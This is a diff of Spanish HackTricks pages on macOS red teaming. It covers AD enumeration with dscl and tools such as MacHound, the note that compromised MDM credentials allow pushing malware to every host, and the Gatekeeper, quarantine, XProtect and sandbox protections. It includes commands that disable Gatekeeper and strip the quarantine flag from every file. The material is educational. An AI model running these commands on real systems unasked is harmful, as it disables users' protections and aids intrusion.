||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Métodos de gestión comunes
|
||||
|
||||
* JAMF Pro: `jamf checkJSSConnection`
|
||||
* Kandji
|
||||
|
||||
Si logras **comprometer las credenciales de administrador** para acceder a la plataforma de gestión, puedes **potencialmente comprometer todas las computadoras** distribuyendo tu malware en las máquinas.
|
||||
|
||||
Para el red teaming en entornos de macOS, es muy recomendable tener cierta comprensión de cómo funcionan los MDM:
|
||||
|
||||
{% content-ref url="macos-mdm/" %}
|
||||
[macos-mdm](macos-mdm/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Y también sobre los **protocolos de red** "especiales" de **MacOS**:
|
||||
|
||||
{% content-ref url="macos-protocols.md" %}
|
||||
[macos-protocols.md](macos-protocols.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Active Directory
|
||||
|
||||
En algunas ocasiones, encontrarás que la **computadora macOS está conectada a un AD**. En este escenario, debes intentar **enumerar** el directorio activo como estás acostumbrado. Encuentra algo de **ayuda** en las siguientes páginas:
|
||||
|
||||
{% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %}
|
||||
[pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% content-ref url="../../windows-hardening/active-directory-methodology/" %}
|
||||
[active-directory-methodology](../../windows-hardening/active-directory-methodology/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% content-ref url="../../network-services-pentesting/pentesting-kerberos-88/" %}
|
||||
[pentesting-kerberos-88](../../network-services-pentesting/pentesting-kerberos-88/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Alguna **herramienta local de MacOS** que también puede ayudarte es `dscl`:
|
||||
```bash
|
||||
dscl "/Active Directory/[Domain]/All Domains" ls /
|
||||
```
|
||||
También hay algunas herramientas preparadas para MacOS para enumerar automáticamente el AD y jugar con Kerberos:
|
||||
|
||||
* [**Machound**](https://github.com/XMCyber/MacHound): MacHound es una extensión de la herramienta de auditoría Bloodhound que permite recopilar e ingerir relaciones de Active Directory en hosts de MacOS.
|
||||
* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost es un proyecto Objective-C diseñado para interactuar con las API de Heimdal krb5 en macOS. El objetivo del proyecto es permitir una mejor prueba de seguridad en torno a Kerberos en dispositivos macOS utilizando API nativas sin requerir ningún otro marco o paquete en el objetivo.
|
||||
* [**Orchard**](https://github.com/its-a-feature/Orchard): Herramienta de JavaScript para Automatización (JXA) para hacer enumeración de Active Directory.
|
||||
|
||||
### Información del dominio
|
||||
```
|
||||
echo show com.apple.opendirectoryd.ActiveDirectory | scutil
|
||||
```
|
||||
### Usuarios
|
||||
|
||||
Los tres tipos de usuarios de MacOS son:
|
||||
|
||||
* **Usuarios locales** - Administrados por el servicio local de OpenDirectory, no están conectados de ninguna manera al Active Directory.
|
||||
* **Usuarios de red** - Usuarios volátiles de Active Directory que requieren una conexión al servidor DC para autenticarse.
|
||||
* **Usuarios móviles** - Usuarios de Active Directory con una copia de seguridad local para sus credenciales y archivos.
|
||||
|
||||
La información local sobre usuarios y grupos se almacena en la carpeta _/var/db/dslocal/nodes/Default._\
|
||||
Por ejemplo, la información sobre el usuario llamado _mark_ se almacena en _/var/db/dslocal/nodes/Default/users/mark.plist_ y la información sobre el grupo _admin_ está en _/var/db/dslocal/nodes/Default/groups/admin.plist_.
|
||||
|
||||
Además de utilizar los bordes HasSession y AdminTo, **MacHound agrega tres nuevos bordes** a la base de datos Bloodhound:
|
||||
|
||||
* **CanSSH** - entidad permitida para SSH al host
|
||||
* **CanVNC** - entidad permitida para VNC al host
|
||||
* **CanAE** - entidad permitida para ejecutar scripts de AppleEvent en el host
|
||||
```bash
|
||||
#User enumeration
|
||||
dscl . ls /Users
|
||||
dscl . read /Users/[username]
|
||||
dscl "/Active Directory/TEST/All Domains" ls /Users
|
||||
dscl "/Active Directory/TEST/All Domains" read /Users/[username]
|
||||
dscacheutil -q user
|
||||
|
||||
#Computer enumeration
|
||||
dscl "/Active Directory/TEST/All Domains" ls /Computers
|
||||
dscl "/Active Directory/TEST/All Domains" read "/Computers/[compname]$"
|
||||
|
||||
#Group enumeration
|
||||
dscl . ls /Groups
|
||||
dscl . read "/Groups/[groupname]"
|
||||
dscl "/Active Directory/TEST/All Domains" ls /Groups
|
||||
dscl "/Active Directory/TEST/All Domains" read "/Groups/[groupname]"
|
||||
|
||||
#Domain Information
|
||||
dsconfigad -show
|
||||
```
|
||||
Más información en [https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/)
|
||||
|
||||
## Servicios Externos
|
||||
|
||||
El Red Teaming en MacOS es diferente al Red Teaming regular de Windows ya que usualmente **MacOS está integrado con varias plataformas externas directamente**. Una configuración común de MacOS es acceder a la computadora usando **credenciales sincronizadas con OneLogin, y accediendo a varios servicios externos** (como github, aws...) a través de OneLogin:
|
||||
|
||||
![](<../../.gitbook/assets/image (563).png>)
|
||||
|
||||
###
|
||||
|
||||
## Referencias
|
||||
|
||||
* [https://www.youtube.com/watch?v=IiMladUbL6E](https://www.youtube.com/watch?v=IiMladUbL6E)
|
||||
* [https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6](https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6)
|
||||
* [https://gist.github.com/its-a-feature/1a34f597fb30985a2742bb16116e74e0](https://gist.github.com/its-a-feature/1a34f597fb30985a2742bb16116e74e0)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
|
@ -0,0 +1,187 @@
|
|||
# Protecciones de seguridad de macOS
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Gatekeeper
|
||||
|
||||
**Gatekeeper** es una función de seguridad desarrollada para los sistemas operativos Mac, diseñada para garantizar que los usuarios **ejecuten solo software de confianza** en sus sistemas. Funciona mediante la **validación** del software que un usuario descarga e intenta abrir desde **fuentes fuera de la App Store**, como una aplicación, un complemento o un paquete de instalación.
|
||||
|
||||
El mecanismo clave de Gatekeeper radica en su proceso de **verificación**. Verifica si el software descargado está **firmado por un desarrollador reconocido**, asegurando la autenticidad del software. Además, verifica si el software está **notarizado por Apple**, confirmando que está libre de contenido malicioso conocido y que no ha sido manipulado después de la notarización.
|
||||
|
||||
Además, Gatekeeper refuerza el control y la seguridad del usuario al **solicitar a los usuarios que aprueben la apertura** del software descargado por primera vez. Esta protección ayuda a evitar que los usuarios ejecuten involuntariamente código ejecutable potencialmente dañino que puedan haber confundido con un archivo de datos inofensivo.
|
||||
```bash
|
||||
# Check the status
|
||||
spctl --status
|
||||
# Enable Gatekeeper
|
||||
sudo spctl --master-enable
|
||||
# Disable Gatekeeper
|
||||
sudo spctl --master-disable
|
||||
```
|
||||
### Firmas de Aplicaciones
|
||||
|
||||
Las firmas de aplicaciones, también conocidas como firmas de código, son un componente crítico de la infraestructura de seguridad de Apple. Se utilizan para **verificar la identidad del autor del software** (el desarrollador) y para asegurarse de que el código no ha sido manipulado desde la última vez que se firmó.
|
||||
|
||||
Así es como funciona:
|
||||
|
||||
1. **Firmar la Aplicación:** Cuando un desarrollador está listo para distribuir su aplicación, **firma la aplicación utilizando una clave privada**. Esta clave privada está asociada con un **certificado que Apple emite al desarrollador** cuando se inscribe en el Programa de Desarrolladores de Apple. El proceso de firma implica la creación de un hash criptográfico de todas las partes de la aplicación y la encriptación de este hash con la clave privada del desarrollador.
|
||||
2. **Distribuir la Aplicación:** La aplicación firmada se distribuye a los usuarios junto con el certificado del desarrollador, que contiene la clave pública correspondiente.
|
||||
3. **Verificar la Aplicación:** Cuando un usuario descarga e intenta ejecutar la aplicación, el sistema operativo Mac utiliza la clave pública del certificado del desarrollador para descifrar el hash. Luego recalcula el hash en función del estado actual de la aplicación y lo compara con el hash descifrado. Si coinciden, significa que **la aplicación no ha sido modificada** desde que el desarrollador la firmó, y el sistema permite que se ejecute la aplicación.
|
||||
|
||||
Las firmas de aplicaciones son una parte esencial de la tecnología Gatekeeper de Apple. Cuando un usuario intenta **abrir una aplicación descargada de Internet**, Gatekeeper verifica la firma de la aplicación. Si está firmada con un certificado emitido por Apple a un desarrollador conocido y el código no ha sido manipulado, Gatekeeper permite que se ejecute la aplicación. De lo contrario, bloquea la aplicación y alerta al usuario.
|
||||
|
||||
A partir de macOS Catalina, **Gatekeeper también verifica si la aplicación ha sido notarizada** por Apple, agregando una capa adicional de seguridad. El proceso de notarización verifica la aplicación en busca de problemas de seguridad conocidos y código malicioso, y si estos controles pasan, Apple agrega un ticket a la aplicación que Gatekeeper puede verificar.
|
||||
|
||||
#### Verificar Firmas
|
||||
|
||||
Cuando se verifica una **muestra de malware**, siempre se debe **verificar la firma** del binario, ya que el **desarrollador** que lo firmó puede estar **relacionado** con **malware**.
|
||||
```bash
|
||||
# Get signer
|
||||
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
|
||||
|
||||
# Check if the app’s contents have been modified
|
||||
codesign --verify --verbose /Applications/Safari.app
|
||||
|
||||
# Get entitlements from the binary
|
||||
codesign -d --entitlements :- /System/Applications/Automator.app # Check the TCC perms
|
||||
|
||||
# Check if the signature is valid
|
||||
spctl --assess --verbose /Applications/Safari.app
|
||||
|
||||
# Sign a binary
|
||||
codesign -s <cert-name-keychain> toolsdemo
|
||||
```
|
||||
### Notarización
|
||||
|
||||
El proceso de notarización de Apple sirve como una salvaguarda adicional para proteger a los usuarios de software potencialmente dañino. Implica que el desarrollador envíe su aplicación para su examen por el **Servicio de Notarización de Apple**, que no debe confundirse con la Revisión de la Aplicación. Este servicio es un **sistema automatizado** que examina el software enviado en busca de la presencia de **contenido malicioso** y cualquier problema potencial con la firma de código.
|
||||
|
||||
Si el software **supera** esta inspección sin plantear ninguna preocupación, el Servicio de Notarización genera un ticket de notarización. Luego, se requiere que el desarrollador **adjunte este ticket a su software**, un proceso conocido como "grapado". Además, el ticket de notarización también se publica en línea donde Gatekeeper, la tecnología de seguridad de Apple, puede acceder a él.
|
||||
|
||||
En la primera instalación o ejecución del software por parte del usuario, la existencia del ticket de notarización, ya sea grapado al ejecutable o encontrado en línea, **informa a Gatekeeper que el software ha sido notarizado por Apple**. Como resultado, Gatekeeper muestra un mensaje descriptivo en el diálogo de lanzamiento inicial, indicando que el software ha sido sometido a controles de contenido malicioso por parte de Apple. Este proceso mejora la confianza del usuario en la seguridad del software que instala o ejecuta en sus sistemas.
|
||||
|
||||
### Archivos en cuarentena
|
||||
|
||||
Al **descargar** una aplicación o archivo, ciertas **aplicaciones** de macOS como navegadores web o clientes de correo electrónico **adjuntan un atributo de archivo extendido**, comúnmente conocido como la "**bandera de cuarentena**", al archivo descargado. Este atributo actúa como medida de seguridad para **marcar el archivo** como proveniente de una fuente no confiable (Internet) y potencialmente con riesgos. Sin embargo, no todas las aplicaciones adjuntan este atributo, por ejemplo, el software común de cliente BitTorrent generalmente omite este proceso.
|
||||
|
||||
**La presencia de una bandera de cuarentena señala la función de seguridad de Gatekeeper de macOS cuando un usuario intenta ejecutar el archivo**.
|
||||
|
||||
En el caso de que **no esté presente la bandera de cuarentena** (como con los archivos descargados a través de algunos clientes BitTorrent), **es posible que no se realicen las comprobaciones de Gatekeeper**. Por lo tanto, los usuarios deben tener precaución al abrir archivos descargados de fuentes menos seguras o desconocidas.
|
||||
|
||||
{% hint style="info" %}
|
||||
**Comprobar** la **validez** de las firmas de código es un proceso **intensivo en recursos** que incluye la generación de **hashes** criptográficos del código y todos sus recursos empaquetados. Además, comprobar la validez del certificado implica hacer una **comprobación en línea** a los servidores de Apple para ver si ha sido revocado después de emitido. Por estas razones, una comprobación completa de firma de código y notarización es **impráctica para ejecutar cada vez que se lanza una aplicación**.
|
||||
|
||||
Por lo tanto, estas comprobaciones se **ejecutan solo al ejecutar aplicaciones con el atributo en cuarentena**.
|
||||
{% endhint %}
|
||||
|
||||
{% hint style="warning" %}
|
||||
**Tenga en cuenta que Safari y otros navegadores web y aplicaciones son los que necesitan marcar los archivos descargados**
|
||||
{% endhint %}
|
||||
|
||||
Es posible **verificar su estado y habilitar/deshabilitar** (se requiere root) con:
|
||||
```bash
|
||||
spctl --status
|
||||
assessments enabled
|
||||
|
||||
spctl --enable
|
||||
spctl --disable
|
||||
#You can also allow nee identifies to execute code using the binary "spctl"
|
||||
```
|
||||
También puedes **encontrar si un archivo tiene el atributo extendido de cuarentena** con:
|
||||
```bash
|
||||
xattr portada.png
|
||||
com.apple.macl
|
||||
com.apple.quarantine
|
||||
```
|
||||
Verifica el **valor** de los **atributos extendidos** con:
|
||||
```bash
|
||||
xattr -l portada.png
|
||||
com.apple.macl:
|
||||
00000000 03 00 53 DA 55 1B AE 4C 4E 88 9D CA B7 5C 50 F3 |..S.U..LN.....P.|
|
||||
00000010 16 94 03 00 27 63 64 97 98 FB 4F 02 84 F3 D0 DB |....'cd...O.....|
|
||||
00000020 89 53 C3 FC 03 00 27 63 64 97 98 FB 4F 02 84 F3 |.S....'cd...O...|
|
||||
00000030 D0 DB 89 53 C3 FC 00 00 00 00 00 00 00 00 00 00 |...S............|
|
||||
00000040 00 00 00 00 00 00 00 00 |........|
|
||||
00000048
|
||||
com.apple.quarantine: 0081;607842eb;Brave;F643CD5F-6071-46AB-83AB-390BA944DEC5
|
||||
```
|
||||
Y **elimina** ese atributo con:
|
||||
```bash
|
||||
xattr -d com.apple.quarantine portada.png
|
||||
#You can also remove this attribute from every file with
|
||||
find . -iname '*' -print0 | xargs -0 xattr -d com.apple.quarantine
|
||||
```
|
||||
Y encuentra todos los archivos en cuarentena con:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; printf "\n"}' | xargs -I {} xattr -lv {} | grep "com.apple.quarantine"
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
## XProtect
|
||||
|
||||
XProtect es una función integrada de **anti-malware** en macOS. Es parte del sistema de seguridad de Apple que trabaja silenciosamente en segundo plano para mantener tu Mac seguro de malware conocido y plug-ins maliciosos.
|
||||
|
||||
XProtect funciona **verificando cualquier archivo descargado contra su base de datos** de malware conocido y tipos de archivo inseguros. Cuando descargas un archivo a través de ciertas aplicaciones, como Safari, Mail o Mensajes, XProtect escanea automáticamente el archivo. Si coincide con algún malware conocido en su base de datos, XProtect **impedirá que el archivo se ejecute** y te alertará sobre la amenaza.
|
||||
|
||||
La base de datos de XProtect se **actualiza regularmente** por Apple con nuevas definiciones de malware, y estas actualizaciones se descargan e instalan automáticamente en tu Mac. Esto asegura que XProtect siempre esté actualizado con las últimas amenazas conocidas.
|
||||
|
||||
Sin embargo, es importante tener en cuenta que **XProtect no es una solución antivirus completa**. Solo verifica una lista específica de amenazas conocidas y no realiza escaneos de acceso como la mayoría del software antivirus. Por lo tanto, aunque XProtect proporciona una capa de protección contra malware conocido, todavía se recomienda tener precaución al descargar archivos de internet o abrir archivos adjuntos de correo electrónico.
|
||||
|
||||
Puedes obtener información sobre la última actualización de XProtect ejecutando:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistConfigData" | tail -n 5
|
||||
```
|
||||
## MRT - Herramienta de eliminación de malware
|
||||
|
||||
La Herramienta de eliminación de malware (MRT) es otra parte de la infraestructura de seguridad de macOS. Como su nombre indica, la función principal de MRT es **eliminar malware conocido de sistemas infectados**.
|
||||
|
||||
Una vez que se detecta malware en un Mac (ya sea por XProtect o por algún otro medio), MRT se puede utilizar para **eliminar automáticamente el malware**. MRT opera en segundo plano y se ejecuta típicamente cuando el sistema se actualiza o cuando se descarga una nueva definición de malware.
|
||||
|
||||
Si bien tanto XProtect como MRT son parte de las medidas de seguridad de macOS, realizan funciones diferentes:
|
||||
|
||||
* **XProtect** es una herramienta preventiva. **Verifica los archivos mientras se descargan** (a través de ciertas aplicaciones), y si detecta algún tipo de malware conocido, **impide que el archivo se abra**, evitando así que el malware infecte su sistema en primer lugar.
|
||||
* **MRT**, por otro lado, es una **herramienta reactiva**. Opera después de que se ha detectado malware en un sistema, con el objetivo de eliminar el software ofensivo para limpiar el sistema.
|
||||
|
||||
## Limitaciones de procesos
|
||||
|
||||
### SIP - Protección de la integridad del sistema
|
||||
|
||||
### Sandbox
|
||||
|
||||
El Sandbox de MacOS **limita las aplicaciones** que se ejecutan dentro del sandbox a las **acciones permitidas especificadas en el perfil de Sandbox** con el que se está ejecutando la aplicación. Esto ayuda a garantizar que **la aplicación solo acceda a los recursos esperados**.
|
||||
|
||||
{% content-ref url="macos-sandbox/" %}
|
||||
[macos-sandbox](macos-sandbox/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### TCC - Transparencia, Consentimiento y Control
|
||||
|
||||
**TCC (Transparencia, Consentimiento y Control)** es un mecanismo en macOS para **limitar y controlar el acceso de las aplicaciones a ciertas funciones**, generalmente desde una perspectiva de privacidad. Esto puede incluir cosas como servicios de ubicación, contactos, fotos, micrófono, cámara, accesibilidad, acceso completo al disco y mucho más.
|
||||
|
||||
{% content-ref url="macos-tcc/" %}
|
||||
[macos-tcc](macos-tcc/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com).
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live).
|
||||
* **Comparte tus trucos de hacking enviando PR a** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **y** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
|
@ -0,0 +1,838 @@
|
|||
# Sandbox de macOS
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Información básica
|
||||
|
||||
El Sandbox de macOS (inicialmente llamado Seatbelt) **limita las aplicaciones** que se ejecutan dentro del sandbox a las **acciones permitidas especificadas en el perfil de Sandbox** con el que se está ejecutando la aplicación. Esto ayuda a garantizar que **la aplicación solo acceda a los recursos esperados**.
|
||||
|
||||
Cualquier aplicación con la **capacidad** **`com.apple.security.app-sandbox`** se ejecutará dentro del sandbox. Los binarios de **Apple** suelen ejecutarse dentro de un Sandbox y para publicar en la **App Store**, **esta capacidad es obligatoria**. Por lo tanto, la mayoría de las aplicaciones se ejecutarán dentro del sandbox.
|
||||
|
||||
Para controlar lo que un proceso puede o no hacer, el **Sandbox tiene hooks** en todas las **syscalls** en todo el kernel. **Dependiendo** de las **capacidades** de la aplicación, el Sandbox permitirá ciertas acciones.
|
||||
|
||||
Algunos componentes importantes del Sandbox son:
|
||||
|
||||
* La **extensión del kernel** `/System/Library/Extensions/Sandbox.kext`
|
||||
* El **framework privado** `/System/Library/PrivateFrameworks/AppSandbox.framework`
|
||||
* Un **daemon** que se ejecuta en userland `/usr/libexec/sandboxd`
|
||||
* Los **contenedores** `~/Library/Containers`
|
||||
|
||||
Dentro de la carpeta de contenedores, se puede encontrar **una carpeta para cada aplicación ejecutada en el sandbox** con el nombre del identificador de paquete:
|
||||
```bash
|
||||
ls -l ~/Library/Containers
|
||||
total 0
|
||||
drwx------@ 4 username staff 128 May 23 20:20 com.apple.AMPArtworkAgent
|
||||
drwx------@ 4 username staff 128 May 23 20:13 com.apple.AMPDeviceDiscoveryAgent
|
||||
drwx------@ 4 username staff 128 Mar 24 18:03 com.apple.AVConference.Diagnostic
|
||||
drwx------@ 4 username staff 128 Mar 25 14:14 com.apple.Accessibility-Settings.extension
|
||||
drwx------@ 4 username staff 128 Mar 25 14:10 com.apple.ActionKit.BundledIntentHandler
|
||||
[...]
|
||||
```
|
||||
Dentro de cada carpeta de identificación de paquete se puede encontrar el archivo **plist** y el directorio **Data** de la aplicación:
|
||||
```bash
|
||||
cd /Users/username/Library/Containers/com.apple.Safari
|
||||
ls -la
|
||||
total 104
|
||||
drwx------@ 4 username staff 128 Mar 24 18:08 .
|
||||
drwx------ 348 username staff 11136 May 23 20:57 ..
|
||||
-rw-r--r-- 1 username staff 50214 Mar 24 18:08 .com.apple.containermanagerd.metadata.plist
|
||||
drwx------ 13 username staff 416 Mar 24 18:05 Data
|
||||
|
||||
ls -l Data
|
||||
total 0
|
||||
drwxr-xr-x@ 8 username staff 256 Mar 24 18:08 CloudKit
|
||||
lrwxr-xr-x 1 username staff 19 Mar 24 18:02 Desktop -> ../../../../Desktop
|
||||
drwx------ 2 username staff 64 Mar 24 18:02 Documents
|
||||
lrwxr-xr-x 1 username staff 21 Mar 24 18:02 Downloads -> ../../../../Downloads
|
||||
drwx------ 35 username staff 1120 Mar 24 18:08 Library
|
||||
lrwxr-xr-x 1 username staff 18 Mar 24 18:02 Movies -> ../../../../Movies
|
||||
lrwxr-xr-x 1 username staff 17 Mar 24 18:02 Music -> ../../../../Music
|
||||
lrwxr-xr-x 1 username staff 20 Mar 24 18:02 Pictures -> ../../../../Pictures
|
||||
drwx------ 2 username staff 64 Mar 24 18:02 SystemData
|
||||
drwx------ 2 username staff 64 Mar 24 18:02 tmp
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
Ten en cuenta que aunque los enlaces simbólicos estén ahí para "escapar" del Sandbox y acceder a otras carpetas, la aplicación aún necesita **tener permisos** para acceder a ellas. Estos permisos están dentro del **`.plist`**.
|
||||
{% endhint %}
|
||||
```bash
|
||||
# Get permissions
|
||||
plutil -convert xml1 .com.apple.containermanagerd.metadata.plist -o -
|
||||
|
||||
# In this file you can find the entitlements:
|
||||
<key>Entitlements</key>
|
||||
<dict>
|
||||
<key>com.apple.MobileAsset.PhishingImageClassifier2</key>
|
||||
<true/>
|
||||
<key>com.apple.accounts.appleaccount.fullaccess</key>
|
||||
<true/>
|
||||
<key>com.apple.appattest.spi</key>
|
||||
<true/>
|
||||
[...]
|
||||
|
||||
# Some parameters
|
||||
<key>Parameters</key>
|
||||
<dict>
|
||||
<key>_HOME</key>
|
||||
<string>/Users/username</string>
|
||||
<key>_UID</key>
|
||||
<string>501</string>
|
||||
<key>_USER</key>
|
||||
<string>username</string>
|
||||
[...]
|
||||
|
||||
# The paths it can access
|
||||
<key>RedirectablePaths</key>
|
||||
<array>
|
||||
<string>/Users/username/Downloads</string>
|
||||
<string>/Users/username/Documents</string>
|
||||
<string>/Users/username/Library/Calendars</string>
|
||||
<string>/Users/username/Desktop</string>
|
||||
